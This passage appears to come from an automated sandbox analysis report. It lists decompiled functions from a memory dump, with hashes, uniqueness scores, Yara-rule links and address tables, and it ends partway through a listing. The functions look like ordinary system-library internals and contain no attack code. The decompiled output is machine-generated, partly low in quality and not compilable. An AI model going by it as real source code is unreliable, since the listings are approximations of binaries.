Opcode Fuzzy Hash: ad6be59323d71d874044d982bf309d7418fc81dfec4977f218d918c73f05463b
Instruction Fuzzy Hash: 080128B2A01640DFE3259F08D940B1277B9EF81329F21507AE5019B791E3B5FC41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04704015, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E04704015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E04652280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E04652280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x47286ac);
					E0463F900(0x47286d4, _t28);
					E0464FFB0(0x47286ac, _t28, 0x47286ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E0464FFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}

0x0470401a
0x0470401e
0x04704023
0x04704028
0x04704029
0x0470402b
0x0470402f
0x04704043
0x04704046
0x04704051
0x04704057
0x0470405f
0x04704062
0x04704067
0x0470406f
0x0470407c
0x0470407c
0x0470408c
0x0470408c
0x04704097

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83d571b4684dbae4b0cbff019b5d6b6b7b8a824a47b216d0426a2e587723d98e
Instruction ID: a4502a4b93cb8011d1cfcf720f3f9fb322afd972109804eb28ffcca8380376da
Opcode Fuzzy Hash: 83d571b4684dbae4b0cbff019b5d6b6b7b8a824a47b216d0426a2e587723d98e
Instruction Fuzzy Hash: 9701D471201645BFE714AB69CD80E13B7ACEB45658F000629F90883A61EB24FC11CAE8

Uniqueness

Uniqueness Score: -1.00%

Function 046F14FB, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E046F14FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x472d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E0467FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(E04657D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E0467B640(E04679AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x046f14fb
0x046f14fb
0x046f150a
0x046f1514
0x046f1519
0x046f151b
0x046f1526
0x046f152c
0x046f1534
0x046f1537
0x046f153a
0x046f1545
0x046f1557
0x046f1547
0x046f1550
0x046f1550
0x046f1562
0x046f1563
0x046f1565
0x046f156a
0x046f157f

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18b100829bddd258fcb6cf2b39acd89338824e4e5dceecfb50471343e5874aab
Instruction ID: f8ce00106abec7b30709a34db375f7b4ec9b77c48ec496747c9b29ebb146b3b8
Opcode Fuzzy Hash: 18b100829bddd258fcb6cf2b39acd89338824e4e5dceecfb50471343e5874aab
Instruction Fuzzy Hash: 93019271A01248EFDB14DFA8D841EAEB7B8EF45704F00406AF904EB380E674EE00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 046F138A, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E046F138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x472d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E0467FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(E04657D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E0467B640(E04679AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x046f138a
0x046f138a
0x046f1399
0x046f13a3
0x046f13a8
0x046f13aa
0x046f13b5
0x046f13bb
0x046f13c3
0x046f13c6
0x046f13c9
0x046f13d4
0x046f13e6
0x046f13d6
0x046f13df
0x046f13df
0x046f13f1
0x046f13f2
0x046f13f4
0x046f13f9
0x046f140e

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 313ab3ca010872f6fa5eadc194fe6856f2e46ebbca27f061a86767491cc6a9a7
Instruction ID: dd33ca690c510f6217e932f5d2507441a5bda4a851451ea14c0cc74405ce064c
Opcode Fuzzy Hash: 313ab3ca010872f6fa5eadc194fe6856f2e46ebbca27f061a86767491cc6a9a7
Instruction Fuzzy Hash: BE015271A01218EFDB14DFA9D841EAEB7B8EF45714F00406AF944EB380E674AE05C795

Uniqueness

Uniqueness Score: -1.00%

Function 046358EC, Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E046358EC(intOrPtr __ecx) {
				signed int _v8;
				char _v28;
				char _v44;
				char _v76;
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_v8 =  *0x472d360 ^ _t29;
				_t10 =  *[fs:0x30];
				_t27 = __ecx;
				if(_t10 == 0) {
					L6:
					_t28 = 0x4615c80;
				} else {
					_t16 =  *((intOrPtr*)(_t10 + 0x10));
					if(_t16 == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
					}
				}
				if(E04635943() != 0 &&  *0x4725320 > 5) {
					E046B7B5E( &_v44, _t27);
					_t22 =  &_v28;
					E046B7B5E( &_v28, _t28);
					_t11 = E046B7B9C(0x4725320, 0x461bf15,  &_v28, _t22, 4,  &_v76);
				}
				return E0467B640(_t11, _t17, _v8 ^ _t29, 0x461bf15, _t27, _t28);
			}

0x046358fb
0x046358fe
0x04635906
0x0463590a
0x0463593c
0x0463593c
0x0463590c
0x0463590c
0x04635911
0x00000000
0x04635913
0x04635913
0x04635913
0x04635911
0x0463591d
0x04691035
0x0469103c
0x0469103f
0x04691056
0x04691056
0x0463593b

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59a4adea46197c68ce3af03d147447595fe22302a2d7e1891e5cd6d8ae56736e
Instruction ID: 662b12e80fb82ddccb03a04644961525ba8ab93f2baa2c799373c5ccad2ad60f
Opcode Fuzzy Hash: 59a4adea46197c68ce3af03d147447595fe22302a2d7e1891e5cd6d8ae56736e
Instruction Fuzzy Hash: 15018F71B00188BBE714EE69DD109AF77A8EB84629B99406D9906A7284FE31FD028794

Uniqueness

Uniqueness Score: -1.00%

Function 046EFE3F, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E046EFE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x472d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E0467FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x267;
				if(E04657D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E0467B640(E04679AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x046efe3f
0x046efe3f
0x046efe4e
0x046efe58
0x046efe5d
0x046efe5f
0x046efe6a
0x046efe72
0x046efe75
0x046efe78
0x046efe83
0x046efe95
0x046efe85
0x046efe8e
0x046efe8e
0x046efea0
0x046efea1
0x046efea3
0x046efea8
0x046efebd

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa4ef3f076ec80f7d62f8079976c5790382a813b9854badf05f8e35ef36ad85c
Instruction ID: 0fadfd0a6c5b01823cac1e32d6edd2693d887c8de04413c24e606e44d2cf1be2
Opcode Fuzzy Hash: fa4ef3f076ec80f7d62f8079976c5790382a813b9854badf05f8e35ef36ad85c
Instruction Fuzzy Hash: 2E018471E01208BBDB14DFA9D845FAEB7B8EF44704F00406AF900AB391EA74AA01C798

Uniqueness

Uniqueness Score: -1.00%

Function 046EFEC0, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E046EFEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x472d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E0467FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x266;
				if(E04657D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E0467B640(E04679AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x046efec0
0x046efec0
0x046efecf
0x046efed9
0x046efede
0x046efee0
0x046efeeb
0x046efef3
0x046efef6
0x046efef9
0x046eff04
0x046eff16
0x046eff06
0x046eff0f
0x046eff0f
0x046eff21
0x046eff22
0x046eff24
0x046eff29
0x046eff3e

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3f87f5314dd4c39f963e45c7bcb6b35435ddd24b410aac341b9ccc14e4040aa
Instruction ID: 03446a72bc8148c0c3e82c908c96898ce88fc40738b040a4867ad4f26b0a70c8
Opcode Fuzzy Hash: b3f87f5314dd4c39f963e45c7bcb6b35435ddd24b410aac341b9ccc14e4040aa
Instruction Fuzzy Hash: 45018471E01208ABDB14DBA9D845FAFB7B8EF44704F00406AF900AB391FA74EA01C798

Uniqueness

Uniqueness Score: -1.00%

Function 04701074, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04701074(void* __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				void* _v11;
				unsigned int _v12;
				void* _v15;
				void* __esi;
				void* __ebp;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 =  !( *__ecx) + 1;
				if(_a4 != 0) {
					E0470165E(__ebx, 0x4728ae4, (__edx -  *0x4728b04 >> 0x14) + (__edx -  *0x4728b04 >> 0x14), __edi, __ecx, (__edx -  *0x4728b04 >> 0x14) + (__edx -  *0x4728b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
				}
				E046FAFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
				if(E04657D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = E046EFE3F(_t22, _t35, _v8, _v12);
				}
				return _t16;
			}

0x04701074
0x04701080
0x04701082
0x0470108a
0x0470108f
0x04701093
0x047010ab
0x047010ab
0x047010c3
0x047010cf
0x047010e1
0x047010d1
0x047010da
0x047010da
0x047010e9
0x047010f5
0x047010f5
0x047010fe

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3bab5d73b536289ebf3040903e123c436e05fba4951f789556f19c203372280
Instruction ID: 760b5d04688607161d7e3b27125047b6a015507efb0278f302ed1ee2811b96d9
Opcode Fuzzy Hash: a3bab5d73b536289ebf3040903e123c436e05fba4951f789556f19c203372280
Instruction Fuzzy Hash: 17012472605745EBD710EB69C944B1A77E5EB84318F04CA2AF886837D0EE32F940CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0464B02A, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0464B02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(E04657D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E046B7016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}

0x0464b037
0x0464b039
0x0464b03b
0x0464b040
0x0469a60e
0x00000000
0x00000000
0x0469a61d
0x0464b04b
0x0464b04e
0x0469a627
0x0469a634
0x00000000
0x00000000
0x0469a641
0x0469a653
0x0469a643
0x0469a64c
0x0469a64c
0x0469a65b
0x00000000
0x00000000
0x00000000
0x0469a66c
0x0464b057
0x0464b057
0x0464b057
0x0464b046
0x0464b046
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: 1507224bb4467bbc9ed9eaa49addec4b579d38dd33d4403ee4e7149605465816
Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: 23015A723009809FDB22CB5DC988F6677DCEB95B55F0900A5A919CBA61F668FC41C624

Uniqueness

Uniqueness Score: -1.00%

Function 04708ED6, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E04708ED6(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0x472d360 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(E04657D50() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E0467B640(E04679AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}

0x04708ed6
0x04708ee5
0x04708eed
0x04708ef0
0x04708efa
0x04708f03
0x04708f0c
0x04708f15
0x04708f24
0x04708f27
0x04708f31
0x04708f43
0x04708f33
0x04708f3c
0x04708f3c
0x04708f4e
0x04708f4f
0x04708f51
0x04708f56
0x04708f69

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22c4082bfd30565f39f1a081d121cf28c8d778983aaee3320110bf828c6b18a7
Instruction ID: ef63d0f094e0579a991f2208e4ff721a15b6fe3453b1f3b00f4949038928081f
Opcode Fuzzy Hash: 22c4082bfd30565f39f1a081d121cf28c8d778983aaee3320110bf828c6b18a7
Instruction Fuzzy Hash: D8110070A01209DFD704DFA9D541AAEB7F4FB08304F1442AAE518EB381E634A940CB94

Uniqueness

Uniqueness Score: -1.00%

Function 04708A62, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E04708A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0x472d360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(E04657D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E0467B640(E04679AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x04708a62
0x04708a71
0x04708a79
0x04708a82
0x04708a85
0x04708a89
0x04708a8c
0x04708a8f
0x04708a92
0x04708a95
0x04708a9f
0x04708ab1
0x04708aa1
0x04708aaa
0x04708aaa
0x04708abc
0x04708abd
0x04708abf
0x04708ac4
0x04708ada

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b1c5e5d3cdea91b49e7523a552f55861eef5517d2b3367e4e40455e3a7c02c3
Instruction ID: 3ce2b8d5697d40e698254cd864c5f5fb36187e5940ef13440da216223cee9118
Opcode Fuzzy Hash: 2b1c5e5d3cdea91b49e7523a552f55861eef5517d2b3367e4e40455e3a7c02c3
Instruction Fuzzy Hash: 00012CB1A0121CAFDB10EFA9D9419EEB7F8EF48714F10405AF904E7391E634AA00CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0463DB60, Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0463DB60(signed int __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E0463DB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = E0463E7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L0463E8B0(__ecx, _t14, 0xfff);
							L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}

0x0463db64
0x0463db66
0x0463db6b
0x0463dbaa
0x0463db71
0x0463db76
0x0463db7a
0x0463dba3
0x0463db7c
0x0463db87
0x0463db8b
0x04694fa1
0x04694fb3
0x04694fb8
0x0463db91
0x0463db96
0x0463db98
0x0463db98
0x0463db8b
0x0463db7a
0x0463db9d
0x0463dba2

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: f086b6256d6570cb09d7bac39ca69aad33cb9a66905d17917014ed3773132b3c
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction Fuzzy Hash: 37F04C736045E39FE3321A558880F17B6959FD1A62F150079F1069B344FD70AC0392E4

Uniqueness

Uniqueness Score: -1.00%

Function 0463B1E1, Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0463B1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(E04657D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(E04657D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
					return E046B7016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}

0x0463b1e8
0x0463b1ea
0x0463b1f3
0x04694a17
0x0463b1f9
0x0463b1f9
0x0463b1f9
0x0463b201
0x04694a21
0x04694a2e
0x00000000
0x00000000
0x04694a3b
0x04694a4d
0x04694a3d
0x04694a46
0x04694a46
0x04694a55
0x00000000
0x00000000
0x00000000
0x0463b20a
0x0463b20a
0x0463b20a
0x0463b20a

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction ID: 53e4b91d41cb4bf265f88091287441b75d01bf4371dd591aeb92777a75eeb77a
Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction Fuzzy Hash: 5301D132204A809BD7229759C804F697BD8EF91B55F0800A2F9148B7B2FAB8FC02C318

Uniqueness

Uniqueness Score: -1.00%

Function 046CFE87, Relevance: .0, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E046CFE87(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_v8 =  *0x472d360 ^ _t35;
				_v16 = __ecx;
				_v54 = 0x1722;
				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
				_v28 =  *((intOrPtr*)(__ecx + 4));
				_v20 =  *((intOrPtr*)(__ecx + 0xc));
				if(E04657D50() == 0) {
					_t21 = 0x7ffe0382;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E0467B640(E04679AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x046cfe96
0x046cfe9e
0x046cfea1
0x046cfead
0x046cfeb3
0x046cfeb9
0x046cfec3
0x046cfed5
0x046cfec5
0x046cfece
0x046cfece
0x046cfee0
0x046cfee1
0x046cfee3
0x046cfee8
0x046cfefb

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25757f70f5738676b942c45d32e7c19aa089d6ca701fad9765222bd67f0a1c9b
Instruction ID: 38e164f86087362dee3d5a5727dd0a43df9cf0f448f7c737f0af67c6d1ed3dc6
Opcode Fuzzy Hash: 25757f70f5738676b942c45d32e7c19aa089d6ca701fad9765222bd67f0a1c9b
Instruction Fuzzy Hash: EE011270A00208EFDB14DFA8D546A6EB7F4EF08704F14416DA915DB392E635EA01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 04708F6A, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E04708F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x472d360 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(E04657D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E0467B640(E04679AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x04708f6a
0x04708f79
0x04708f81
0x04708f84
